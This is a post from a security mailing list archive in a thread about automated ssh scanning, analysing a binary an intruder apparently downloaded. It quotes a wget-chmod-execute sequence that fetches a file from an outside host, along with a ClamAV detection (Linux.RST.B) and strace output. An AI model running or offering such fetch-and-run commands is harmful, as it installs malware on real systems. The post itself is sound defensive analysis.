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Open Source and information security mailing list archives
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From: evilninja at gmx.net (Christian) Subject: Betr.: RE: Automated ssh scanning Andrew Farmer wrote: >> If you take a look at this bit: >> >> wget www.bo2k-rulez.net/a >> chmod +x a >> ./a [...] > Whatever it is, it doesn't work under 2.6.7: > > peon % ./a > (long pause) > [-] Unable to determine kernel address: Operation not supported > zsh: segmentation fault ./a > peon % $ clamscan a a: Linux.RST.B FOUND here i have linux 2.6.8.1, strace gives ptrace(PTRACE_TRACEME, 0, 0x1, 0) = -1 EPERM (Operation not permitted) _exit(0) = ? on the child, the parent just tries to use brk() thousands of times, without doing something else. -- BOFH excuse #279: The static electricity routing is acting up...
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